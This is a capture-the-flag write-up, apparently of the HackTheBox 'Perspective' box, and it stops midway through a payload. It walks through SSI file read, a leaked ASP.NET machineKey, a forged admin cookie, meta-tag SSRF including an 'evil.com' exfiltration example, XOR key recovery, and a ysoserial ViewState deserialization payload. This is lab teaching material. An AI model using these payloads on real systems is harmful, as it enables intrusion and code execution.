Perspective

Perspective is all about exploiting a ASP.NET application in many different ways. I’ll start by uploading a SHTML file that allows me to read the configuration file for the application. With that, I’ll leak one of the keys used by the application, and the fact that there are more protections in place. That key is enough for me to forge a cookie as admin and get access to additional places on the site. There’s a server-side request forgery vulnerability in that part of the site, and I’ll use it to access a crypto service running on localhost. I’ll decrypt another application key, showing both how to do it with math and via a POST request via the SSRF. With that, I can sign a serialized object and get execution. With a shell, I’ll find a staging version of the application with additional logging and some protections that break my previous attack. I’ll use a padding oracle attack to encrypt cookies, and exploit a command injection via the cookie and the password reset process to get a shell as administrator. In Beyond Root, I’ll look at an unintended way to get admin on the website, and get JuicyPotatoNG working, despite most ports being blocked.

Box Info

Name Perspective Perspective
Release Date 19 Mar 2022
Retire Date 15 Oct 2022
OS Windows Windows
Base Points Insane [50]
Rated Difficulty Rated difficulty for Perspective
Radar Graph Radar chart for Perspective
First Blood User 13 hours, 16 mins, 51 seconds xct
First Blood Root 15 hours, 58 mins, 33 seconds xct
Creator

Recon

nmap

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.151
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-30 20:34 UTC
Nmap scan report for 10.10.11.151
Host is up (0.090s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.151
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-30 20:35 UTC
Nmap scan report for 10.10.11.151
Host is up (0.090s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 d6:7f:3f:d4:22:15:ce:64:f3:c8:00:79:bf:f6:f8:f8 (RSA)
|   256 08:c6:d4:f3:98:84:0f:fd:4b:ed:e3:a6:25:bd:e7:70 (ECDSA)
|_  256 32:81:6a:8b:4d:f9:61:09:ff:d3:99:6c:e7:3f:a3:ac (ED25519)
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds

Despite the port combination being much more typical of Linux than Windows, this is a Windows host. Based on the IIS version, it’s Windows 10+ / Server 2016+.

Website - TCP 80

Site

Visiting 10.10.11.151 redirects to perspective.htb. I’ll do a quick fuzz to look for subdomains, but it comes back empty. After adding this to my /etc/hosts file and reloading, the site is a “New Product Request System” for “NorthernSprocket” company:

image-20220930164519288

The “Log in” link presents a form:

image-20221010131432583

Client-side JavaScript prevents sending SQL injection payloads via the browser, so I’ll send the POST request over to Burp Repeater and try some basic attacks, but nothing works.

The “Register” page take a fair bit of info, including password reset questions. I’ll fill it out and submit:

After registering and then logging in, there is a new line at the top right on the main page, “New Products”:

image-20221010132026940

The “New Products” page is empty, but offers a button to create one:

image-20221010132258660

That button leads to a form:

image-20221010132327353

There is filtering going on if the image file isn’t an JPEG file:

image-20221010133153512

On submitting, a new product is on the page:

image-20221010132245670

The “Support” link just has text:

image-20221010132433689

I’ll make note of the admin username.

Tech Stack

Nothing too exciting in the basic HTTP response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Mon, 10 Oct 2022 17:13:58 GMT
Connection: close
Content-Length: 15620

There’s an Asp.NET version, along with the powered by header both suggesting that .aspx pages may execute. On logging in, a cookie named .ASPXATUH is set to a large hex value.

Directory Brute Force

I’ll run feroxbuster against the site. The URLs don’t seem to be using extensions, so I’ll leave that blank for now. I’ll also use a lowercase wordlist, since IIS is case-insensitive:

oxdf@hacky$ feroxbuster -u http://perspective.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://perspective.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301      GET        2l       10w      153c http://perspective.htb/images => http://perspective.htb/images/
301      GET        2l       10w      154c http://perspective.htb/scripts => http://perspective.htb/scripts/
302      GET        3l        8w      150c http://perspective.htb/admin => /Account/Login?ReturnUrl=%2fadmin
301      GET        2l       10w      154c http://perspective.htb/contact => http://perspective.htb/contact/
200      GET      127l      331w     5419c http://perspective.htb/
301      GET        2l       10w      154c http://perspective.htb/content => http://perspective.htb/content/
302      GET        3l        8w      169c http://perspective.htb/about => http://perspective.htb/500.html?aspxerrorpath=/about
301      GET        2l       10w      154c http://perspective.htb/account => http://perspective.htb/account/
301      GET        2l       10w      153c http://perspective.htb/static => http://perspective.htb/static/
302      GET        3l        8w      153c http://perspective.htb/products => /Account/Login?ReturnUrl=%2fproducts
302      GET        3l        8w      162c http://perspective.htb/contact/contact => /Account/Login?ReturnUrl=%2fcontact%2fcontact
301      GET        2l       10w      152c http://perspective.htb/fonts => http://perspective.htb/fonts/
200      GET      230l      594w    11075c http://perspective.htb/account/register
200      GET      158l      380w     7377c http://perspective.htb/account/login
200      GET    11672l    28307w   416780c http://perspective.htb/content/css
200      GET      127l      331w     5426c http://perspective.htb/default
301      GET        2l       10w      155c http://perspective.htb/handlers => http://perspective.htb/handlers/
200      GET      168l      376w     6629c http://perspective.htb/account/forgot
301      GET        2l       10w      163c http://perspective.htb/scripts/webforms => http://perspective.htb/scripts/webforms/
[####################] - 9m    292424/292424  0s      found:19      errors:0      
[####################] - 9m     26584/26584   46/s    http://perspective.htb 
[####################] - 3m     26584/26584   132/s   http://perspective.htb/images 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/scripts 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/contact 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/ 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/content 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/account 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/static 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/fonts 
[####################] - 9m     26584/26584   46/s    http://perspective.htb/handlers 
[####################] - 8m     26584/26584   49/s    http://perspective.htb/scripts/webforms

Most of these are either paths that I’ve visited while enumerating the site, or return 403. But /account/forgot is interesting (there is a link to this from the login page that I just missed originally).

Reset Password

Visiting /account/forgot shows a form asking for an account name:

image-20221010143916474

Entering the account I created and clicking “Initiate Reset” loads the next page:

image-20221010143948309

Entering the correct answers (I used “0xdf” as the answer to all of these) provides a form to reset the password:

image-20221010144045963

This is an insecure process, as knowing the answers to three questions about the user allows me to reset their password.

Shell as webuser

Read web.config File

Enumerate Filter

Typically websites have three ways to filter file uploads:

  • The content-type header in the form
  • The file extension in the form data filename
  • The file signature or magic bytes of the file itself

I’ll start with a successful upload of a JPEG file, and start messing with it to help identify what is being filtered. The part of the form data that has the image looks like this:

image-20221010155505945

If I change the Content-Type field on line 33 to what seems like anything else, it fails. Luckily for me, there’s no reason to change this part. I’ll leave it as image/jpeg.

I’ll remove the raw bytes of the file and add some text. I’ll also need to change the name field or it will complain that the name already exists:

image-20221010155908795

It uploads just fine. The product is on the page with a broken image:

image-20221010155936803

The path to the image is http://perspective.htb/Images/0xdf_58145152090.jpg, and it has the data I uploaded:

oxdf@hacky$ curl http://perspective.htb/Images/0xdf_58145152090.jpg
0xdf was here

So the site isn’t filtering on magic bytes. To check if it’s filtering on file extension, I’ll change the file name to 0xdf.png:

image-20221010160114857

It’s a bit weird to have a mismatch between image/jpg and .png, but it uploads just fine.

However, when I change it to .aspx, it returns an error:

image-20221010160254152

This response suggests that there is an extension block list on the server, rather than an allow list (since it says only JPEG, but .png got through). To test this theory, I’ll change the filename to 0xdf.abcd. It uploads fine.

Brute Force Extensions

To figure out which extensions might work, I’ll use Burp Intruder. Typically I’d switch over to something like wfuzz for this, as I don’t have a paid Burp license, and Intruder is very slow in the free version. That said, I’m just going to test 30 requests, and getting all the form fields into wfuzz correctly would probably take longer than just using Intruder.

I’ll send the POST request to Intruder, and click the button to clear all the §. Then I’ll find the part of the form that has the file and highlight the extension, and click “Add §”:

image-20221010161112324

In the “Payloads” tab, I’ll click “Load …” and pass it Fuzzing/extensions-most-common.fuzz.txt from SecLists.

image-20221010161206913

I’ll click “Start Attack”, and a new window pops up, and in about a minute, it’s tried all 30 extensions. I’ll sort the result by Length:

The ones of length 8949 are complaining that the name of the product is duplicate. The ones that are 8956 are blocked because of their extension.

I can rule out a lot of these as interesting right away. Any of the document formats or archive formats won’t help me. Even the scripting languages like .py and .rb aren’t going to be run by IIS.

I’m most interested in the PHP-related ones and .shtml. .jhtml seems potentially interesting as a Java within HTML file, but I’ve never heard of it, and I couldn’t find any quick ways to test for it. It seems unlikely that this server has all the Java stuff configured for that to work.

Upload PHP [Fails]

Looking at the list of unblocked files, php3, php4, and phtm all jump out as PHP files that might potentially get execution. I’ll try uploading each of these.

I’m able to upload new products using these extensions, and they show up in the page:

image-20221010163133923

However, when I try to open the image, the page returns 404:

image-20221010163202130

This same behavior happens with all three of these extensions. Something must be blocking PHP files (it isn’t important, but I never did figure out what).

Null Byte [Fails]

Another thing to try is to see if I can write control the full file name. Right now, I’ll notice that _[random numbers] gets inserted between the file name and the extension. I’ll try submitting with a null byte to see if I can get it to write just what I want:

image-20221010164515359

It uploads, and the URL to the image is http://perspective.htb/Images/test.aspx%00_46344036843.jpg, which returns an HTTP 400 Bad Request.

Back in Repeater, I’ll highlight that %00 and push Ctrl-Shift-U to un-URL-encode that text. It disappears, but the null is still there. On submitting, it fails:

image-20221010164820425

shtml File Read

.shtml and .shtm files are related to a scripting language called Server Side Includes. They are meant to allow for pages to include other pages using some HTML-like syntax:

<!--#include virtual="../quote.txt" -->

To see if I have any of the same issues as above, I’ll start simple:

image-20221010165422575

On loading the image, it works:

image-20221010165436558

I’ll update the file to include other files I might want to read. I wasn’t able to get many things to work, but eventually I’ll try the web.config file, and it does work. This is a file that defines how the IIS application works, similar to how a .htaccess file works with Apache.

I’ll upload the file with a .shtml extension and the syntax to read the web.config file:

image-20221010171006532

The resulting XML doesn’t show on the page, but in View-Source it does:

image-20221010171029217Click for full size image

There’s not much useful in that, but this is in the Images directory. I’ll try up one more directory, and it gets the web.config for the application:

image-20221010171201061Click for full size image

web.config Analysis

The web.config file gives the machineKey, which is used for encryption/decryption of elements like the viewStates and cookies in the application:

    <authentication mode="Forms">
      <forms name=".ASPXAUTH" cookieless="UseDeviceProfile" loginUrl="~/Account/Login.aspx" slidingExpiration="false" protection="All" requireSSL="false" timeout="10" path="/" />
    </authentication>
    <machineKey compatibilityMode="Framework20SP2" validation="SHA1" decryption="AES" validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" />

View State is a method typically used in ASP.NET applications to pass state information back and forth to the client. It is a serialized .NET object, and it is typically encrypted to prevent tampering and thus deserialization attacks.

A very common attack against ASP.NET applications like this with a leaked machineKey is to generate a malicious .NET serialized object (with something like ysoserial.net) and encrypt it with the machineKey. When the decryption succeeds, the malicious object is loaded and code execution is achieved.

The ViewStateUserKey property is a protection against this kind of attack. This post does a nice job of breaking down this attack and how ViewStateUserKey helps prevent attacks.

The appSettings section of the web.config file shows the ViewStateUserKey:

  <appSettings>
    <add key="environment" value="Production" />
    <add key="Domain" value="perspective.htb" />
    <add key="ViewStateUserKey" value="ENC1:3UVxtz9jwPJWRvjdl1PfqXZTgg==" />
    <add key="SecurePasswordServiceUrl" value="http://localhost:8000" />
  </appSettings>

ENC1 at the start is an indication that this value is encrypted. I’m not able to decrypt it or to get deserialization attacks to work.

The other thing to note from the appSettings section is the SecurePasswordServiceUrl. Based on the lack of results when Googling, this is not a default MS field. Still, it’s a reference to another webserver running on localhost port 8000, which I’ll note for later.

The web.config also shows the .NET version:

    <compilation debug="true" targetFramework="4.6.1" />
    <httpRuntime targetFramework="4.6.1" />

Admin Access to Site

Note: There’s an unintended way to access the site as admin using the password reset functionality. I’ll show this in Beyond Root. This section shows how to forge an admin cookie.

This repo has tools for decrypting and encrypting cookies for ASP.NET applications. I’ll need to work from a Windows system with Visual Studio installed (I’m using version 2022). I’ll open Visual Studio and select “Create a new project”. On the next screen, I’ll select “Console App (.NET framework) C#” and click “Next”:

image-20221011124850548

In the “Configure your new project” window, I’ll give it a name and save directory, as well as set the .NET version. .NET versions can be finicky, and since I know from the web.config that the target runs on .NET 4.6.1, I’ll match that as closely as I can. That version wasn’t installed on my computer, but I can download the developer pack for it here. After restarting Visual Studio, it’s an option:

image-20221011072423228

Following the instructions from the Git repo, I’ll replace the template program.cs with FormsDecrypt.cs. For me, it complains about System.Web.Security, FormsAuthenticationTicket, and FormsAuthentication:

image-20221011072604636Click for full size image

I’ll fix this by going to “Project” > “Add Reference …”, and then scrolling down to check the box next to System.Web:

image-20221011072714510

I’ll grab the app.config from the repo and update it with the information from the web.config:

<?xml version="1.0"?>
<configuration>
	<system.web>
		<compilation debug="false" targetFramework="4.0" />
		<machineKey validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" validation="SHA1" decryption="AES" />
	</system.web>
</configuration>

Now I’ll replace the template app.config with this. “Build” > “Build Solution” works, and an executable is generated:

image-20221011074459605Click for full size image

This generates not only PerspectiveCookie.exe, but also PerspectiveCookie.exe.config:

PS > ls

    Directory: Z:\hackthebox\perspective-10.10.11.151\repos\PerspectiveCookie\bin\Release

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
------        10/11/2022   4:43 AM            408 PerspectiveCookie.exe.config
------        10/11/2022   4:43 AM           5120 PerspectiveCookie.exe
------        10/11/2022   4:43 AM          22016 PerspectiveCookie.pdb

Both file must be in the same directory for the binary to run.

Running it with the cookie decrypts it:

PS > .\PerspectiveCookie.exe DBAE702BA41B8733FF5DCC214F02EA37546D1DFABD0CF6C76A1B2CAA7FE1ED741278569D1384BDC4FB2A09B9AADC0A4118AFA0BB0DDA701789643A16B1AFB045DC93CC2508C025A8A1A0FDD8D6D585D216404EC71A681750D3E5BBC9ECD49E7CB17E4D0B3269B6F45E6124EC0C2F136EC7697DA766A024570D94E6F13CD60641A9968B647AC6E9E5BFB4274B5F09BC97462E7D4F
1
0xdf@perspective.htb
10/10/2022 1:45:47 PM
10/10/2022 2:15:47 PM
True
test
/

This page shows the various parameters of a FormatAuthenticationTicket, which what is held in the cookie:

  • version - 1
  • name - 0xdf@perspective.htb
  • issueDate - 10/10/2022 1:45:47 PM
  • expiration - 10/10/2022 2:15:47
  • isPersistent - True (means that the cookie will persist through browser sessions)
  • userData - test

I’ll create another project just like the one above (this one called PerspectiveCookieForge), though it would be just fine to replace the Program.cs in the existing. I’ll copy the same app.config file as above, and copy FormEncrypt.cs into Program.cs. In there, I’ll add the encryptedTicket, and set the replacedUsername to “admin”. I also tweaked the expiration time to be really long so I don’t have to worry about making new tickets, and made a few small cosmetic changes.

image-20221011075954574Click for full size image

I’ll build this:

image-20221011075112872Click for full size image

And running it produces a new cookie:

PS > .\PerspectiveCookieForge.exe
CA3DA36302E95A76A4101ADCE27B04EEFE8521B97B773B3FA78F395D0A3E62E36FEDFFA717DD5F407BCEA231483353D2FE5877C260A792E0E1C79A48956713920B5A0C6771B54F8BD533807204993620D56EBE97F6FF178937326B2F6AC385C32F37A243C53346DE3FC5B3C943DD3E1F70BB75B0312A09CAFD3ED9DF268067E772CD316AC6C501786178C5833C1F5ECD4FE95EAC

When I replace my cookie with this one and refresh, the page shows I’m logged in as admin@perspective.htb:

image-20221011080101669

Server Side Request Forgery

Admin Panel Enumeration

The new “Admin” button at the top leads to /Admin/Adminhome:

image-20221011092453665

There’s a link to the “New product admin panel” at /Admin/AdminProducts:

image-20221011092522773

I’ll enter “0xdf@perspective.htb” and it shows the products I’ve uploaded, along with a button to “Generate PDF”:

image-20221011092621132

Trying with my products that are full of broken image links fails. Trying with admin’s list (empty) generates an PDF:

image-20221011092845896

I’ll delete my old products and create a new one:

image-20221011092953400

This exports just fine:

image-20221011093009396

Bypass Filter

I’ll notice that my description “It’s a product” has the ' escaped as %27 on the webpage, but shows up normal in the PDF. It might be worth playing with seeing what gets rendered via the PDF generation.

I’ll try to submit a new product with some img tags that reference my host, but they are rejected:

image-20221011093502718

Some playing around in Repeater indicates that < is on the block list for the product name.

In the description field, neither < nor <im trigger the block, but <img does.

<script, <iframe also seems to be blocked.

Server Side Request Forgery POC

HackTricks has a page on HTML Scriptless Injection, and one of the examples is:

<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=

It seems the <meta> tag is not on the block list:

image-20221011123005021

It shows up in the list now, escaped:

image-20221011123124600

When the I generate the PDF, there’s a connection at my webserver:

oxdf@hacky$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.151 - - [11/Oct/2022 16:31:53] code 404, message File not found
10.10.11.151 - - [11/Oct/2022 16:31:53] "GET /test1.html HTTP/1.1" 404 -

And the PDF shows that response instead of the normal table:

image-20221011123217094

Get Decrypted ViewStateUserKey

Enumerate API

I’m curious to see what’s happening on the service referenced in the web.config file. I’ll delete the previous “meta” object and upload a new one with the url of http://127.0.0.1:8000/. The PDF shows it’s the “AdminAPI”:

image-20221011131118255

The link just under the title shows a swagger.json file, which should show the inputs and outputs for each endpoint. I’ll fetch that:

{
    "openapi": "3.0.1",
    "info": {
        "title": "AdminAPI",
        "version": "v1"
    },
...[snip]...

There are two paths. /encrypt, with the tag “SeucrePasswordService”, takes a GET request with a string in the query named “plaintext”:

...[snip]...
    "paths": {
        "/encrypt": {
            "get": {
                "tags": [
                    "SecurePasswordService"
                ],
                "parameters": [
                    {
                        "name": "plaintext",
                        "in": "query",
                        "schema": {
                            "type": "string",
                            "nullable": true
                        }
                    }
                ],
                "responses": {
                    "200": {
                        "description": "Success",
                        "content": {
                            "text/plain": {
                                "schema": {
                                    "type": "string"
                                }
                            },
                            "application/json": {
                                "schema": {
                                    "type": "string"
                                }
                            },
                            "text/json": {
                                "schema": {
                                    "type": "string"
...[snip]...

The /decrypt path is very similar, but a POST request that takes a string as a GET parameter named “cipherTextRaw”:

...[snip]...
        "/decrypt": {
            "post": {
                "tags": [
                    "SecurePasswordService"
                ],
                "parameters": [
                    {
                        "name": "cipherTextRaw",
                        "in": "query",
                        "schema": {
                            "type": "string",
                            "nullable": true
                        }
                    }
                ]
...[snip]...

Encrypt POC

I’ll try the /encrypt endpoint with a <meta> tag that visits http://127.0.0.1:8000/encrypt?plaintext=0xdf. The returned PDF contains only the string enc1:vnx5pQ==. That format looks very similar to what I saw in the web.config file.

There’s clearly base64-encoded data after enc1:. That decode to four bytes:

oxdf@hacky$ echo "vnx5pQ==" | base64 -d | xxd
00000000: be7c 79a5 

That suggests that this is using a stream cipher, rather than a block cipher, where I would expect it to be 8 or 16 bytes.

Decrypt via Math

As the API isn’t asking for a key, it must be using the same key every time. A typical stream cipher will use the key to generate a stream of random bytes, and then XOR the plaintext with the bytes to make ciphertext. Only someone who can generate the same random bytes (so ideally who has the same key) can decrypt the data.

For this to be safe, the same key cannot be reused, or it’s vulnerable to a known plaintext attack.

I’ll encrypt a string that’s at least as long as the text I want to decrypt:

<meta http-equiv="refresh" content="0;http://127.0.0.1:8000/encrypt?plaintext=AAAAAAAAAAAAAAAAAAAAAAAAAAAAA">

The result is the encrypted string:

image-20221011162735226

Now, XORing that byte-by-byte with “A” will return the byte stream used to encrypt, and then XORing that with some other cipher text will return the decrypted text. This Python script will do that:

#!/usr/bin/env python3

import base64
import sys

known_pt_ct_b64 = "z0VcggdRwN9jXu+ts2XNvFZG8CTFWmiTM6qgDes="
known_pt_ct = base64.b64decode(known_pt_ct_b64)
decrypt_ct = base64.b64decode(sys.argv[1])


pt = ''.join([chr(x^y^ord("A")) for x,y in zip(known_pt_ct, decrypt_ct)])
print(pt)

It decrypts the 0xdf-string:

oxdf@hacky$ python decrypt.py vnx5pQ==
0xdf

It works with the one from the web.config as well:

oxdf@hacky$ python decrypt.py 3UVxtz9jwPJWRvjdl1PfqXZTgg==
SAltysAltYV1ewSTaT3

Decrypt via JavaScript iFrame HTML Form

I’ll present this section in a video, as well as summarize below:

I wasn’t able to get <script> tags into the page via upload. But what about using the <meta> tag to redirect to a page I host? I’ll update the product to load from my host:

image-20221011133128296

In redirect.html, I’ll add a simple <script> tag that writes some stuff:

<script>
        document.write("0xdf was here!");
</script>

On generating a new PDF, there’s a hit at the webserver, and then the text in the page:

image-20221011133236930

I can now run arbitrary JavaScript. I spent a while trying to get JavaScript to make HTTP requests for me, but I believe that is blocked by cross-origin resource sharing (CORS).

In thinking about other ways to display the data back, I considered displaying the data in an iframe. This StackOverflow post shows how I can do that with three things:

  • an HTML form with a target of the iframe
  • an iframe
  • JavaScript to submit the form

So by updating my HTML file to this:

<form id="0xdfhacks" target="frame" method="post" action="http://127.0.0.1:8000/decrypt?cipherTextRaw=enc1:vnx5pQ%3d%3d">
</form>

<iframe name="frame"></iframe>

<script>
        var form = document.getElementById("0xdfhacks");
        form.submit();
</script>

The resulting PDF looks like:

image-20221011162127040

But really, why do I need the iframe? Why can’t I just let the form post and have the resulting page show up as the response? No reason, it works! I’ll set my local HTML to:

<form id="0xdfhacks" method="post" action="http://127.0.0.1:8000/decrypt?cipherTextRaw=enc1:vnx5pQ%3d%3d">
</form>

<script>
        var form = document.getElementById("0xdfhacks");
        form.submit();
</script>

I’ve removed the iframe as well as the target parameter on the form. The result is the decrypted text:

image-20221011162245965

I’ll update the script to do the encrypted string from the web.config instead, and it works:

image-20221011163454759

RCE Via Deserialization

Understand Needed Data

This blog post does a really nice job of showing how to exploit .NET ViewState deserialization. ysoserial.net is a tool I’ve shown before for generating .NET serialized attack payloads. In this case, I’ll need to use the specific plugin for ViewState:

image-20221011165309131Click for full size image

I’ll run it with --help to get a list of the parameters:

PS > .\ysoserial.exe -p ViewState --help
ysoserial.net generates deserialization payloads for a variety of .NET formatters.

Plugin:

ViewState (Generates a ViewState using known MachineKey parameters)

Options:

      --examples             to show a few examples. Other parameters will be
                               ignored
  -g, --gadget=VALUE         a gadget chain that supports LosFormatter.
                               Default: ActivitySurrogateSelector
  -c, --command=VALUE        the command suitable for the used gadget (will
                               be ignored for ActivitySurrogateSelector)
      --upayload=VALUE       the unsigned LosFormatter payload in (base64
                               encoded). The gadget and command parameters will
                               be ignored
      --generator=VALUE      the __VIEWSTATEGENERATOR value which is in HEX,
                               useful for .NET <= 4.0. When not empty, 'legacy'
                               will be used and 'path' and 'apppath' will be
                               ignored.
      --path=VALUE           the target web page. example: /app/folder1/pag-
                               e.aspx
      --apppath=VALUE        the application path. this is needed in order to
                               simulate TemplateSourceDirectory
      --islegacy             when provided, it uses the legacy algorithm
                               suitable for .NET 4.0 and below
      --isencrypted          this will be used when the legacy algorithm is
                               used to bypass WAFs
      --viewstateuserkey=VALUE
                             this to set the ViewStateUserKey parameter that
                               sometimes used as the anti-CSRF token
      --decryptionalg=VALUE  the encryption algorithm can be set to  DES,
                               3DES, AES. Default: AES
      --decryptionkey=VALUE  this is the decryptionKey attribute from
                               machineKey in the web.config file
      --validationalg=VALUE  the validation algorithm can be set to SHA1,
                               HMACSHA256, HMACSHA384, HMACSHA512, MD5, 3DES,
                               AES. Default: HMACSHA256
      --validationkey=VALUE  this is the validationKey attribute from
                               machineKey in the web.config file
      --minify               Whether to minify the payloads where applicable
                               (experimental). Default: false
      --ust, --usesimpletype This is to remove additional info only when
                               minifying and FormatterAssemblyStyle=Simple.
                               Default: true
      --isdebug              to show useful debugging messages!

Using this and the post linked above, I’ll need:

  • A request the submits a ViewState object;
  • The generator associated with that path, or the app path and path variables;
  • The decryption algorithm and key (from web.config);
  • The validation algorithm and key (from web.config);
  • The ViewStateUserKey (decrypted in the previous step).

Find Request and Generator

Looking through the Burp history, there are a few options. I’ll go with the POST that’s generated when a user deletes a product:

image-20221011170319706

It has a __VIEWSTATE as well as a __VIEWSTATEGENERATOR. The generator is always the same on this path.

Create POC Payload

I’ll plug all that into ysoserial.exe in my Windows VM, and run it:

PS > .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping 10.10.14.6" --generator=90AA2C29 --decryptionalg=AES --decryptionkey=B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9 --validationalg=SHA1 --validationkey=99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF --viewstateuserkey=SAltysAltYV1ewSTaT3
/wEyyxEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAEi9jIHBpbmcgMTAuMTAuMTQuNgYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJl